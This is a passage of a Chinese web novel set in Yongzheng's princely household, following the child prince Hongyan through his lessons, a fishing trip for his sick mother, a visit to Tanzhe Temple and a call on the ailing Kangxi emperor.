弘晏嘴角抽了抽,遂开口解释:“朱师傅,阿玛答应我的,我提前完成今日的课业,便能提早散学,带我去钓鱼的。” 便宜阿玛根本就没有跟朱师傅提起他们的约定,看来是不相信他的能力了。 朱师傅一愣,四爷竟然会答应这种荒唐的要求,不过瞧着六阿哥一本正经的模样,与脸不红心不跳就张口胡说八道的五阿哥是不同的。 毕竟,他也知晓四爷是最喜六阿哥的。 朱师傅敛下思绪,开口道:“六阿哥,你方才说四爷答应带你去钓鱼的前提是完成今日的课业,那晚课的任务,可是要背诵两篇文章的。” 弘晏点头:“我会背呀。” 弘晏说完,就开始摇头晃脑的背了起来。 朱师傅从头听到尾,一字不错且十分流利。 弘晏歪着小脑袋:“怎么样?朱师傅,我可以走了吧?” 朱师傅无话可说了,只道:“阿哥请便。” 随即,弘晏迈着雀跃的小步伐在弘时、弘历与弘昼羡慕的目光中潇洒离去。 弘昼眼巴巴的望着门外:“钓鱼,我也好想去钓鱼啊。” 朱师傅毫不留情的抛出了连环三问:“五阿哥,大字可写了?文章可抄了?书可背了?” 弘昼叹气:“朱师傅,你知道的,这书上的字都认识我,可我都不认识他们。” 朱师傅:“……” 你先把书拿正了呢?! 一旁的弘历已经开始默默用功了。 而最年长的弘时,思绪早已飘到了九霄云外去了。 弘晏这时已经到了胤禛的书房了:“阿玛,我们出发吧。” 坐在书案后的胤禛一惊:“这么快你就完成了今日的功课?” 弘晏骄傲的挺了挺小胸膛,扬起小脸儿道:“阿玛不信,可以去问朱师傅。” 胤禛将手上的书合上:“阿玛自然相信,苏培盛,快去准备。” 弘晏若没有完成,朱师傅又岂会放弘晏离开学堂。 少顷,胤禛便带着弘晏坐上马车出城去了,目的地就是上次他和胤祥上次带弘晏与弘晈来钓鱼的地方。 不久后,马车稳稳地停下,弘晏被胤禛抱下了马车。 弘晏抬眼四处瞧了瞧,溪流、柳树、草地都还是那么美,不同的是,上次他是看客,现在变成了钓鱼者。 苏培盛招呼小太监们将钓鱼的工具都搬下来,胤禛手把手教了弘晏如何钓鱼,而将鱼饵抛入水底的弘晏,现在要做的就是等鱼儿上钩。 这是一个漫长的过程。 一刻钟过去了,两根鱼竿丝毫没有动静,胤禛扭过脸去看弘晏,弘晏的小脸上不见焦躁和不耐,反而很是专注投入。 这次来钓鱼的弘晏与上次大不相同,胤禛此时才明白,弘晏要来钓鱼不是一时起兴,而是志在必得。 胤禛弯了弯嘴角,将视线收回。 一阵微风吹过,那溪边柳树长飘带似的垂下的柳条,被风带动着轻轻地拂过水面,泛起淡淡的涟漪。 忽而,弘晏感觉到自己的鱼竿开始振动,脸上一喜,便开始提竿,可这鱼竿上的重量却超过了他的能力,弘晏便嘟着嘴喊道:“阿玛,快来帮我!”【你现在阅读的是 】 110-120 第111章 第111章梅开三度 胤禛闻言,起身去帮弘晏。 随着胤禛提竿的动作,一条大鱼甩着尾巴浮出水面。 弘晏惊喜道:“哇,好肥的鱼啊!” 这条鱼用来炖汤一定鲜美的紧。 弘晏想到这里,舔了舔小嘴巴。 胤禛将钓上来的鱼放进了木桶里,问向弘晏:“福宝,可还要钓吗?” 弘晏忽闪着眼睛,边说边比划:“当然,多钓几条大鱼,额娘就可以天天喝鱼汤了。” 胤禛“嗯”了一声。 父子俩继续钓鱼,等到夕阳的最后一抹余晖散去,父子俩才打道回雍亲王府。 胤禛带着弘晏去沐浴更衣,苏培盛则命小喜子将鱼交给了膳房。 沐浴更衣完毕,胤禛便带着弘晏去正院看乌拉那拉氏。 一踏进正院,弘晏便欢欢喜喜的跑进去了:“额娘。” 弘晏扑向乌拉那拉氏。 床榻上的乌拉那拉氏搂住了弘晏,余光瞥见了胤禛的人影:“爷也来了。” 胤禛撩起衣角坐在了拔步床沿:“福宝跟爷说,你病了,可好些了?” 乌拉那拉氏点头:“好多了。” 这时,弘晏晃了晃乌拉那拉的手腕,很是骄傲道:“额娘,我让阿玛带我钓鱼去了,阿玛才钓上来两条,我可钓上来三条呢。” “真的?福宝可真能干。”乌拉那拉氏夸完弘晏便问向胤禛:“爷今日怎么有雅兴带福宝去钓鱼?” 胤禛便将弘晏与他的约定,告诉了乌拉那拉氏。 而弘晏抬了抬小下巴,扬起唇角:“嘿嘿,额娘,我厉害吧。” 乌拉那拉氏眼底已然湿濡了,将弘晏抱进怀里,抚摸着弘晏的小脑袋:“福宝,你惦记着额娘,额娘高兴,可往后不能这么逼着自己做功课,身子要紧,不然额娘会心疼的。” 弘晏将书法课和晚课的任务在那么短的时间内完成,想必是消耗了不少精力的。 乌拉那拉氏的反应在弘晏意料之外,他没有想到乌拉那拉氏第一反应不是高兴,也不是欣慰,而是心疼。 其实写几张大字、背两篇文章对于他来说,并不算什么。 从前,乌拉那拉氏带着他启蒙时,为了不让乌拉那拉氏看出端倪,也为了符合四岁孩童的正常学习能力,他乃是有意藏拙,可如今,学习压力大,学习任务重,为了自己个儿能轻松些,他也不必藏拙了。 只是,这些话他是万万不能说的。 弘晏敛下思绪,小脑袋在乌拉那拉氏怀里蹭了蹭,软糯糯的说道:“额娘,我知道的。” 这两日乌拉那拉氏一直在喝药汤,身上也沾染了药汤的苦味,不过弘晏就这么贴着乌拉那拉氏,还是能够闻出来属于乌拉那拉氏独有的一种香味。 是母亲的香味。 这时,流萤福身道:“福晋,晚膳备好了。” 乌拉那拉氏低眸看向怀里的弘晏:“福宝,先跟你阿玛到外间用膳吧,额娘要起床梳洗。” “好。”弘晏说着,便从乌拉那拉氏怀里出来。 外间的八仙桌旁,胤禛与弘晏等着乌拉那拉氏落座。 少顷,乌拉那拉氏端起青 花瓷碗,尝了一口鱼汤。 弘晏迫不及待的问:“额娘,鱼汤好喝吗?” 乌拉那拉氏柔柔笑着:“好喝,这是额娘喝过最好喝的鱼汤,福宝也快尝尝。” 弘晏端起面前的小碗,喝了一口,味道十分鲜美,里面还放了爽口的白萝卜丝。 弘晏看向乌拉那拉氏,笑嘻嘻道:“额娘,今晚炖了一条鱼,还有四条呢,额娘每天喝上一碗,病很快就会好的。” 乌拉那拉氏满是宠溺的望着弘晏:“好,额娘都听你的。” 一顿温馨的晚膳吃完,弘晏又陪了乌拉那拉氏一会儿,等乌拉那拉氏喝完药汤,弘晏便跟着胤禛回前院去了。 病人当然要静养了。 既然弘晏晚课的任务已经完成,胤禛直接将弘晏带回了书房下棋。 今个儿晚上弘晏休息的早,第二日的早课可是精神满满,可到了第五天的早课,朱师傅隐约听到了呼噜声,下意识看向了弘昼,弘昼正鼓着嘴朝着书吹气,将那一页书吹过左边,又吹回右边。 朱师傅摇了摇脑袋,眼睛一瞥,就见弘晏的小脑袋正枕着胳膊肘睡得香甜。 “六阿哥醒醒。”朱师傅走过去晃了晃弘晏。 弘晏迷迷糊糊的睁开眼,瞧清了眼前人,便站起身道:“朱师傅,我去洗把脸。” 他怎么又睡着了。 朱师傅:“……” 坐在左边的弘昼听了弘晏的话,也不对着书吹气了,蹦下椅子说道:“朱师傅,我也去。” 朱师傅喊住要开溜的弘昼:“五阿哥,不许去。” 弘昼委屈巴巴的朝着朱师傅作揖:”朱师傅,我内急。” 朱师傅一脸严肃,眼睛里满是审视:“五阿哥,不是要洗脸吗?怎么又变成出恭了?” “我先洗脸,再出恭。”弘昼一边说,一边将脚步往外移,而后开溜。 弘昼找到了刚洗完脸的弘晏:“六弟。” 洗完脸的弘晏精神多了:“五哥,你也是来洗脸的吗?” 弘昼咧着嘴说道:“我是出来透透气儿。” 话音落下,弘昼解下荷包,从里面拿了一个蜜枣喂给弘晏,而后又拿起一个蜜枣抛向了空中,然后张嘴去接。 弘晏被弘昼的操作惊呆了:“五哥,你还真是深藏不露啊。” 弘昼摆摆手:“这算什么,我会的多着呢。” “就是不会背书。” 弘晏与弘昼齐齐扭头,说这话的人不是弘历又能是谁。 “那是我懒得背。”弘昼说着,将荷包又挂在腰带上。 弘历用兄长的口吻教育道:“弘昼,你不学,可别带坏了六弟。” 弘晏出来不过是洗个脸,这么久还未回去,定然是弘昼又拉着弘晏玩。 还不等弘晏开口,弘昼就皱起眉头开炸:“我何时带坏六弟了,弘历,你不就比我多吃了三个月的饭,摆什么兄长架子,充什么师傅?” 弘历也急了:“我……我这是为你好,你不好好读书,将来怎么办?” 弘昼指向弘历,哼道:“我的将来用不着你操心。” 弘晏拉住作势要走的弘昼,开始劝和:“四哥,你误会五哥了,是他看我太困,给我蜜枣吃又逗我开心的。” 弘晏对着弘历说完,又看向弘昼:“五哥,四哥他是好心,并非指责你,当初你被阿玛罚写大字,四哥不是还帮你抄写了吗?” 弘昼听了这话,气消了大半。 弘历迈步来到弘昼面前,低头道:“五弟,是我不好,我措词不当,你别生气了。” 弘晏也冲着弘昼眨眼。 弘昼摆了摆手:“好了,好了,我哪里是小气的人。” 弘历这才露出了笑模样。 这时,一道熟悉的男声响起:“三位阿哥,聊得还尽兴吗?” 弘晏、弘历、弘昼同时扭头看去,不约而同喊道:“朱师傅。” 朱师傅面带愠色:“三位阿哥既然有如此闲情雅致,这便回去将早课所要背会的文章抄写一遍,抄不完就不必用早膳了。” 弘晏、弘历、弘昼应声后,赶忙小跑回了屋子。 弘晏坐回到椅子上,将书翻开,撸起袖子就开始奋笔疾书。 待早课结束,弘时给了弘晏、弘历、弘昼一个同情的眼神,就吃早膳去了,而弘晏、弘历和弘昼则将抄完的文章拿给朱师傅过目。 弘晏和弘历的抄写轻松过完,而朱师傅看到弘昼的抄写时脸色变得凝重:“五阿哥,这就是你写的字?” 笔画弯弯曲曲的,活像那土壤里的蚯蚓。 弘昼点头:“对呀,一个字都不少,不信,朱师傅,你可以数数。” 朱师傅将弘昼的抄写放下:“不是字数的问题,是字形,五阿哥,你这字……字写得不太端正。” 弘昼摊手:“朱师傅,我写字就这水平。” 不等朱师傅说话,弘晏便开口说道:“朱师傅,你说过的,习字非一日之功,五哥是用了心的,每个字,我都能看出来是什么字呢。” 弘历跟着附和:“是啊,朱师傅,五弟的字差一些,这已经很好看了。” 不待朱师傅反应,弘晏又道:“朱师傅,你说了抄完就可以吃早膳的,君子是言出必行的。” 弘昼捂住肚子,露出委屈巴巴的模样:“朱师傅,我好饿啊,不吃早膳,会昏倒的。” 朱师傅无奈笑道:“我一张嘴说不过你们三个,好了,快用膳去吧。” “多谢朱师傅。”弘晏、弘昼和弘历三人异口同声说完,就一起跑出去了。 第六日的早课,弘晏不出意外的又打起了瞌睡,这次弘昼在朱师傅走过来之前,团了一个纸团扔向了弘晏。 弘晏刚醒神,便见朱师傅朝着自己走了过来,而一旁的弘昼便装作什么都没有发生的模样。 弘晏见朱师傅不言语,便问道:“朱师傅,有事吗?” 朱师傅开口:“六阿哥,你又睡着了,这是第三次了。” 弘晏不想撒谎,便道:“朱师傅,我虽然睡着了,但文章我都会背了。” 朱师傅自然是不信的,将弘晏桌子上的书拿了起来:“哦?那你来背背看?” 弘晏清了清嗓子,便开始背书。 前面的弘历正盯着文章从头看到尾,弘晏背的一字不错,弘历很是吃惊。 这文章,他才刚刚念熟呢。 弘昼忍不住夸道:“六弟,你睡觉在梦里都能背会,这好本事快教教我啊。” 弘昼的眼睛里满是对背书(睡觉)的渴望。 朱师傅一个眼刀子飞过去,弘昼讪讪闭上了嘴巴。 这时,弘晏开口道:“朱师傅,我没骗你吧。” 朱师傅欲言又止,最终还是将书放下,转身回去了。 第112章 第112章大言不惭 这天下了晚课,弘晏拖着劳累的小步伐准备回寝房睡觉,却被小喜子截住了回去的路。 小喜子弓着腰禀报:“六阿哥,爷请你去书房。” 弘晏撅着嘴问向小喜子:“非要现在去吗?” 他现在只想快点躺到舒服的床上,枕着额娘做的小枕头,搂着兔子布偶睡觉。 小喜子笑着答道:“六阿哥,爷正等你呢。” “好吧。”弘晏说完,不情愿的迈开腿往书房的方向走。 进了书房,弘晏冲着坐在书案后的胤禛唤道:“阿玛。” 胤禛将手上的书撂下,看向弘晏问道:“腹中可饥饿?” 那倒也不饿,弘晏想了想说道:“来半碗牛乳吧。” 胤禛看向一旁站着的苏培盛,苏培盛颔首去办。 胤禛起身绕开书案走到了临窗的檀木小榻坐下,而后冲着弘晏招手。 弘晏落坐在了胤禛对面。 待弘晏将半碗牛乳喝完,胤禛说起了正事:“福宝,你上学这几日,师傅和谙达们都说你天资聪颖,学什么都快,可你在早课上睡觉是为何?还睡了三回?” 弘晏闻言,瞧了瞧面前的空碗,便宜阿玛这么晚叫他来,果然不是喝牛乳这么简单。 弘晏如实说道:“我困啊,每天睡三个时辰,我都睡不够,眼睛睁不开自然要睡觉的。” 胤禛听了这话,顿了顿方道:“福宝,皇子们读书向来如此刻苦,阿玛当年也是这般过来的。” 弘晏本来想再坚持坚持的,既然胤禛主动找他谈了这件事,那他就把自己的想法说出来好了:“阿玛,可那早课着实无聊,一篇文章竟要摇头晃脑的读上一个时辰,我早就背会了,与其干坐着,还不如睡觉呢,对了,还有晚上亥时的那堂课,我做功课压根用不了那么久,可朱师傅检查完了功课,还是让我继续温书读文章,有这功夫还不如早早上床睡觉呢。” 胤禛听了弘晏这番话,有些生气,但还是耐着性子讲起道理来:“福宝,熟读而成诵,温故而知新,你眼下虽记会了,可若不勤加温习,慢慢便会遗忘的。” 这种方法并不适用在他身上,弘晏一脸认真的望着胤禛:“阿玛,我记住了就不会忘。” 对着弘晏,胤禛的脸罕见的阴沉下来:“大言不惭,那我倒要好好考考你。” 胤禛说完,眼睛看向了跟着弘晏的田玉。 田玉的身上挎着弘晏上学堂的书包,如今瞧着胤禛的目光,田玉便将书包取下,将里面装着的书本呈给了胤禛。 胤禛将书翻开,凡是这六日以来,弘晏学习过的文章选其重点都抽查了一番。 结果就是,弘晏背得流利不说,对于他提出关于文章内容的问题,弘晏还会举一反三,这令胤禛很是意外。 看来,小家伙并未说大话。 弘晏见胤禛考 校完了却不言语,便走上去拉了拉胤禛的马蹄袖,开始撒娇:“阿玛,我学习很认真的,可是睡不够我白日里也是真的会犯困的,睡不够还会长不高,日子久了,我会生病的,阿玛舍得我生病吗?” 弘晏边撒娇,边眨着星星望着胤禛。 胤禛听完,倒是笑了:“从明日起,你不用上卯时的早课和亥时的晚课,只需上辰时到酉时的正课,可满意了?” 少上两个时辰的课,意味着他用完晚膳就自由了,也就是说他每天至少可以睡五个时辰了! “满意,满意,我就知道阿玛最疼我了。”弘晏说着,便踩上脚踏抱住了胤禛。 虽然这是他用实力换来的睡眠时间,但是好在便宜阿玛讲道理,也心疼他嘛。 胤禛揉了揉弘晏的小脑袋:“福宝,有一件事,你也要答应阿玛。” 弘晏一听这话,立马从胤禛怀里出来,问道:“什么事?” 是他夸早了,便宜阿玛莫不是还要与他讲条件? 弘晏在心里思忖着。 胤禛看着弘晏,缓缓道:“你在早课上睡觉,这是对师长的不恭敬,明日要去给朱师傅赔个不是,可明白?” 原来是这么回事啊,是他多虑了。 “我会的。”弘晏点了点小脑袋,而后又想起了一件事,便道:“阿玛,我也有一件事要与你说。” 胤禛开口问:“何事?” 弘晏缓缓道:“谙达给我挑的小马驹虽然很好,但我还是更喜欢追风。” 追风是便宜阿玛送给他的生辰礼物,也是他的第一匹小马驹,有不一样的意义。 “阿玛知道了。”胤禛说完,又抬手捏了捏弘晏的小脸蛋儿:“夜深了,快回去睡觉吧。” 弘晏点了点小脑袋,便迈着欢快的步伐离开了书房。 寝房内的石泉已然给弘晏准备好了洗脚水,见弘晏满脸喜色的回来,便说道:“阿哥这么高兴啊。” 去了书房这么久,难道是王爷夸奖了他们阿哥? 弘晏笑嘿嘿道:“石泉,我以后不用上早课和晚课了。” 石泉一愣:“真的?那可要恭喜阿哥了。” 他每日瞧着阿哥上完一整天的课后,人都蔫儿了,可是心疼的紧。 作为在现场的田玉,听了这话,便看向石泉说道:“咱们阿哥书背的好,就是王爷也给惊住了。” 听完石泉和田玉的吹捧,弘晏洗完脚便美滋滋的上床睡觉了。 第二日清晨,弘晏起床洗漱后,吃了早膳才慢悠悠的往学堂去。 不用上早课的感觉真好。 待弘晏坐到了位置上,弘昼刚想说话,朱师傅就进门了,弘昼只好先作罢。 下课后,弘昼一溜烟儿跑到弘晏身旁:“六弟,我又羡慕你了,不用上无聊又讨厌的早课和晚课了。” 不待弘晏说话,坐在前面的弘历走过来说道:“六弟读一两遍文章就能背会,五弟,你若是有这本事,阿玛也会答应你的。” 反正他是没有六弟的本事。 所以,他要更用功才行。 弘历暗自下定决心。 弘昼听了弘历的话,叹了口气,托着脸认命道:“那我还是老老实实的待着吧。” 弘晏笑了笑,便下了椅子。 弘昼见弘晏往外走,问道:“六弟,你要去哪啊?用不用我陪你?” 弘晏闻言,扭过身子回答道:“五哥,我去找朱师傅。” 弘昼立马改口:“哦,那你快去吧。” 弘晏点了点小脑袋,便出发找朱师傅去了。 朱师傅正在厢房里喝茶,见弘晏走进来,便将手中的茶盏放下:“六阿哥,你找我有何事?” “朱师傅,我是来给你赔不是的,我不该在早课上睡觉的。”弘晏一脸真诚的说完后,给朱师傅作了个揖。 这作揖礼是学生向老师做的,朱师傅便受下了。 随即,朱师傅开了口:“六阿哥,王爷都与我说了你特许不用上早课和晚课,但我有些话还是想告诉六阿哥。” 弘晏有些好奇:“朱师傅请说。” 朱师傅看着弘晏,娓娓道:“六阿哥,你确实是我见过最有天分的学生,但古往今来,年少成名的人不在少数,最终能有所作为在史书上留下美名的更是少之又少,天分固然重要,但勤奋也不可少,二者并重,才是长久之计。” 朱师傅这是怕他仗着天分好就摆烂。 弘晏笑着点头:“朱师傅的一番良言,我都记下了。” 朱师傅看着弘晏的眼神多了几分慈爱:“六阿哥,时候不早了,快回学堂去吧。” 弘晏笑着和朱师傅摆手。 到了下午的马术课,弘晏见到了心心念念的追风,蹦蹦跳跳的走过去抚摸起追风的脸颊:“追风,这些日子不见,我可想你了,你是不是也想我啊。” 跟追风对完话,弘晏便翻身上马,和追风一起在马场上奔跑起来。 马术课结束,弘晏给追风喂了草料才回了学堂。 很快又到了戌时,弘晏吃完晚膳就收拾书包水灵灵的走出了学堂。 而弘昼一脸艳羡的望着弘晏逐渐消失的背影。 弘昼兀自感叹:“我要是六弟书包里的一只笔、一本书,那就好了。” 弘历听了这话,摇了摇头便投入到温书中了。 弘时忍不住说道:“弘昼,你那么讨厌读书,真变成了书,岂不是无处可逃了。” 这对他来说,可是很恐怖的事情。 弘昼扬起脸看向弘时:“三哥,这你就不懂了,我是讨厌看书,可若真变成了书,只叫别人来看我,天下的读书人还会把我当成做官改命的宝贝呢。” 弘时细想之后,点头道:“有些道理。” 另一边,弘晏将书包放回寝房之后,便回了正院看望乌拉那拉氏。 “额娘,额娘!”弘晏哒哒的跑进屋子。 小榻上的乌拉那拉氏一脸欢喜:“福宝。” 胤禛特许弘晏不用上早课和晚课的事情,她已经知道了,是以弘晏这个时候回来乌拉那拉氏并不是很意外。 弘晏径直走过去:“额娘,你病好了吗?” 乌拉那拉氏搂过弘晏:“喝了福宝钓上的鱼做的鱼汤,额娘全好了。” 弘晏笑嘿嘿道:“额娘喜欢,我再给额娘钓。” 乌拉那拉氏顿了顿,方道:“钓鱼太辛苦了些,福宝还是多睡会儿。” 其实是她喝鱼汤都已经喝腻了。 但是她不好打击弘晏的积极性。 弘晏听了这话,一脸认真道:“只要额娘喜欢,我不觉得辛苦。” 有这么暖心的儿子在身边,乌拉那拉氏笑着打趣:“好福宝,将来额娘可舍不得你娶福晋了。” “那我就不娶福晋了,只要额娘。”弘晏说完,便抱住了乌拉那拉氏。 弘晏这个年纪,怕是都不知道福晋意味着什么,不过,弘晏有这句话,乌拉那拉氏已经很知足了。 弘晏陪着乌拉那拉氏说了好一会儿的话,天完全黑了,弘晏才不舍的离开了正院。 弘晏一抬头才瞧见天边的月亮澄澈,那银白色的月光披洒在青石路上,为黑夜增添了几分光亮和诗意。 自从读书以来,弘晏便没有再好好的欣赏过月亮了。 此时回前院的心境不同,弘晏便觉得这月亮越发的美了。 而石泉提着一盏灯笼为弘晏照明,主仆二人就这么悠闲的散着步回到了前院。 第113章 第113章乐于助人 这日,弘晏刚上完蒙文课,田玉就过来禀报说胤禛召他到书房去。 弘晏虽疑惑,但还是赶忙去了。 一看见胤禛,弘晏立马扬着小脸儿说道:“阿玛,我可再没有在课上睡过觉了。” 现在的他每日可以睡上五个时辰,醒来后整个人是神清气爽、活力满满。 胤禛弯了弯唇角:“阿玛自是知道的,叫你来,是要带你出门。” 一听到胤禛要带他出门,连课都不用上了,弘晏的眼睛都放光了,兴冲冲的问:“去哪?” 胤禛只道:“先换衣服,到了你就知道了。” 看来又要便装出行了。 弘晏与胤禛 换了便装,就连跟着他的田玉也换了粗布衣裳,弘晏倒是好奇的紧。 待马车出了城门后,弘晏便忍不住了:“阿玛,我们要去哪里玩啊?” 胤禛摩挲着手上的玉扳指:“去潭柘寺。” 弘晏歪了歪小脑袋:“好好的,阿玛是带我去进香吗?” 胤禛摩挲玉扳指的动作一顿:“你皇玛法病了,咱们去潭柘寺求个福袋,保佑你皇玛法早日康复。” 弘晏听了这话,小脸蛋上立马浮现出担忧之色:“皇玛法病了,太医看了吗?是什么病?严不严重啊?” 胤禛出声回答:“是风寒,太医自然看过了。” 风寒对于一个六十五岁的老人来说,还是挺严重的。 弘晏想到这里,瘪着嘴巴很是担心。 胤禛见状,抬手揉了揉弘晏的小脑袋。 潭柘寺是皇家寺院,今日虽然不是初一、十五但香火鼎盛,有不少香客前来,小小的弘晏看到的都是乌泱泱的人头。 胤禛牵着弘晏的手进了大殿,弘晏学着胤禛的模样,规规矩矩的跪在蒲团上,而后双手合十阖上了眼眸。 佛祖在上,保佑我皇玛法早日康复,长命百岁。 弘晏在心中默念完,虔诚的叩了头。 参拜完佛祖又求了福袋,胤禛本想带着弘晏直接回去,却听到小沙弥说慧慈法师云游回来了。 慧慈法师是得道高僧,喜欢云游,行踪不定,胤禛喜读佛家经典法,也曾与慧慈法师谈论佛法,不过那已然是三年前的事情了。 如今,慧慈法师云游归来,胤禛又岂能错过。 胤禛看向弘晏:“福宝,阿玛要去禅房见慧慈法师,你可以四处逛逛,阿玛等会儿便来寻你。” 弘晏脆生生的应了一声:“好。” 这是他第一次来潭柘寺,不好好逛逛,下次来还不知道是什么时候了。 胤禛又嘱咐道:“田玉,看顾好阿哥。” 田玉颔首道:“王爷放心,奴才寸步不离的跟着阿哥。” 交代完田玉,胤禛才放心离去。 弘晏笑嘿嘿道:“田玉,咱们也走吧。” 潭柘寺殿宇巍峨、佛塔林立,还有不少参天古树,弘晏逛过一片竹林,便去赏桃花。 那桃花朵朵盛开,一阵风吹过,娇嫩的花瓣儿随风而落,好似桃花雨。 弘晏身在桃花林,瞧得眼花缭乱,连身上都好似沾上了桃花的香味。 弘晏瞧见面前的这棵桃树上,有一只蜜蜂停留在了桃树枝的一朵桃花上:“田玉,你瞧,这蜜蜂在采蜜呢。” 弘晏边说着,边指给田玉看。 田玉正抬眼看过去时,弘晏的余光察觉了什么,又指向右边的那棵树:“欸,田玉,你看这棵桃花树上的花,竟然同时有粉和红两种颜色。” 田玉答道:“是,阿哥,粉桃花和红桃花同时在一个树枝上长出来倒是少见呢。” 弘晏听完,便对着田玉说道:“田玉,你把我抱起来,我要折下来带回去给额娘。” 那枝桃花长的高,他自己可够不着。 “是,阿哥。”田玉说着,便弯腰将弘晏竖着抱起来:“阿哥,能够到了吗?” 弘晏试着伸出了小胳膊:“往左一点儿。” 田玉便往左移了一步。 弘晏又道:“过了,再往右一点儿。” 田玉闻言,又往右移动了半步。 “这回可以了,田玉你可别动。”弘晏说完,便轻松的折下了那枝桃花。 粉色的花挨着红色的花,很是好看。 弘晏欣赏完手中的花,便道:“田玉,可以放我下来了。” 弘晏的脚落地后,便拿着花枝再往前面逛一逛,一抬眸,却瞧见有一个穿着粉色衣裳的小姑娘无措的站着,眼睛里有些迷茫和慌张,咬着下唇好像要哭的样子。 热心肠的弘晏走上去前问道:“小妹妹,你怎么一个人在这里?” 走近了,弘晏才发觉这小姑娘比他还矮了半头,像是只有四五岁。 小姑娘抬眸看了弘晏一眼,嗫嚅着嘴唇终究没有开口,两只手握着袖口。 弘晏露出温暖的笑:“你别怕,我不是坏人,你这么小,怎么一个人在这里,你家人呢?” 看着小姑娘的穿着,应该是富贵人家的孩子。 小姑娘这才开了口,声音里带着些许哭腔:“我和我的乳娘走散了。” 弘晏继续问:“原来是这样,你别害怕,我帮你找,你还记得你和你的乳娘最后见面是哪个地方吗?” 小姑娘正回忆的时候,一个穿深蓝色衣裳的妇人急忙忙的跑过来:“八小姐,奴婢可找到您了。” 那小姑娘见到了熟悉的人,一下子就酸了鼻子:“乳娘,你去哪了?” 那乳娘开口解释:“哎呦,八小姐,奴婢方才内急,跟您说了马上就回来的,可奴婢回来便不见您了,可把奴婢吓坏了。” 小姑娘很是委屈:“可你去了好久,我才去找你的。” 那乳娘正要说话时,弘晏开了口:“你既然是小姐的乳娘,便该寸步不离的跟着,就算内急,也该带着小姐一起去才是,而不是将她一个人留下,她这么小,潭柘寺人来人往的,她自然会害怕。” 那乳娘这才注意到身边还有一大一小两个人,警惕道:“你是……” 弘晏正要介绍自己时,小姑娘开了口:“乳娘,这位小公子是好人,他要帮我找你的。” 那乳娘便明白了,点头道:“多谢这位小公子,您的话我都记住了。” 那乳娘又对着小姑娘说道:“八小姐,咱们走吧,该去找夫人她们了。” 小姑娘点点头,又扭脸对着弘晏说道:“小公子,多谢你。” 小姑娘的声音很好听,弘晏不好意思的挠了挠脑袋:“你不用客气,我其实也没有帮上你什么。” 这时,那乳娘又开了口:“八小姐,走吧。” 小姑娘刚抬起步子,弘晏便喊道:“等等。” 小姑娘疑惑的扭过头看向弘晏。 弘晏笑吟吟的将手中的花枝递过去:“这个送给你。” 小姑娘伸手接过了花枝,忽闪着水灵灵的眼睛道谢:“多谢小公子。” 弘晏挥手和那小姑娘再见。 等那小姑娘与乳娘走远了,田玉开了口:“阿哥,你刚才不是说要把花枝带回去送给福晋吗?” 怎么扭脸就送给一个素味平生的小姑娘了。 弘晏一愣。 对哦,他怎么把这件事给忘了。 “没事,你再抱我折几枝就是了。”弘晏说完,便转过身子往回走,去找刚才那棵开粉与红两色花的桃树。 田玉笑着抬步跟上去。 这里的桃花多为白色与粉色,是以那红色的桃花十分显眼,弘晏很快就找到了那棵桃花树。 折完了桃花,弘晏便回去找胤禛。 恰好,胤禛与慧慈法师谈论完佛法出来找弘晏,父子俩便在半路上遇上了。 胤禛开口唤:“福宝。” 弘晏朝着胤禛小跑过去,将手中的几枝桃花高高举起来:“阿玛,快看,这是我给额娘折的桃花。” 胤禛点头:“很好看。” 胤禛还要带着弘晏进宫去,这桃花枝总拿在手里不是办法,胤禛便让苏培盛向小沙弥讨了一个白瓷瓶子,将桃花枝插进白瓷瓶子里,既美观又好保存。 回京城的马车上,弘晏又想起了什么,拉着胤禛的袖子说道:“阿玛,我们去趟樱桃园吧,摘些新鲜的樱桃给皇玛法吃。” 胤禛一口答应:“好。” 到了樱桃园,弘晏瞧着树上沉甸甸的红樱桃舔了舔嘴巴,而后便让田玉抱着他摘樱桃。 苏培盛则指挥两个护卫一同去摘,樱桃园的小厮们也帮着一起摘,很快便摘满了五六个篮子。 弘晏瞧着红艳艳的樱桃直吞口水,胤禛瞧见了,便先让田玉洗了一盘子给弘晏解解馋。 弘晏一口气吃了三四颗红樱桃,而后给苏培盛和田玉的手里都塞了樱桃。 胤禛见状,以拳抵唇清咳 了一声。 弘晏麻溜的从碟子里拿了红樱桃喂给胤禛。 休整完毕,胤禛带着弘晏从樱桃园出来,坐上马车便直奔着皇宫去了。 到了皇宫门外,胤禛抱着弘晏下了马车,父子二人便往乾清宫去。 待魏珠通禀过后,胤禛牵着弘晏的手进了康熙的寝殿。 “儿臣给汗阿玛请安。” “孙儿给皇玛法请安。” 康熙抬手:“快起来吧。” 弘晏站直了身子,抬起眼瞧见了龙床上的康熙面容憔悴,又苍老了不少。 弘晏瘪着嘴喊道:“皇玛法。” 康熙的腰后垫着织金软枕,头靠着床栏,朝着弘晏招了招手:“福宝,走近些。” 弘晏小步子走过去,来到康熙面前。 康熙抬手摸了摸弘晏的小脑袋瓜,慈爱道:“福宝又长高了不少。” 弘晏从怀里将福袋掏出来递给康熙:“皇玛法,这是阿玛带我去潭柘寺求的福袋,佛祖会保佑皇玛法快快好起来的。” 康熙露出了笑容:“好孩子。” 康熙说完,接过了弘晏手中的福袋压在枕下。 “皇玛法,我还摘了红樱桃,可甜了。”弘晏说完,魏珠已然捧着一碟子红樱桃过来了。 “皇玛法,快尝尝,这可是我亲手摘的。”弘晏说着,拿起一颗红樱桃喂给康熙。 康熙吃着红樱桃,瞧着满是期待的弘晏,笑道:“香甜多汁,好吃。” “皇玛法喜欢,多吃几个。”弘晏说着,又递给康熙一颗红樱桃。 康熙将樱桃籽吐在了帕子里,问道:“福宝,樱桃树那么高,你如何能够到啊?” 弘晏眨了眨眼睛:“嘿嘿,我叫田玉把我驮起来的,皇玛法,田玉是伺候我的小太监。” 康熙哈哈笑了。 这时,魏珠又禀道:“皇上,您该服药了。” 康熙摆手:“先放那儿吧。” 弘晏见康熙的笑容淡了下来,便问道:“皇玛法也害怕喝苦药汤吗?” 康熙只道:“这药虽然能治病,但太苦了些,没人会喜欢喝的。” 要吃药,便证明自己的身子骨儿出了问题。 弘晏听罢,端起来了康熙的药碗尝了一口:“好苦,比额娘的药还苦。” 弘晏说完,先将药碗放下,往自己嘴里塞了两颗红樱桃,方才压制住药汤的苦味。 弘晏这举动可是吓了魏珠一跳。 胤禛面上不显,但心里还是惊了一惊。 康熙也很是意外,不过他还是抓住了弘晏话里的关键词:“福宝喝过你额娘的药?” “对呀,前些日子额娘病了,我尝了额娘的药以后,才放心喂给额娘喝的。”弘晏忽闪着眼睛解释道。 康熙听了便明白了:“福宝这是学二十四孝中的汉文帝吗?” 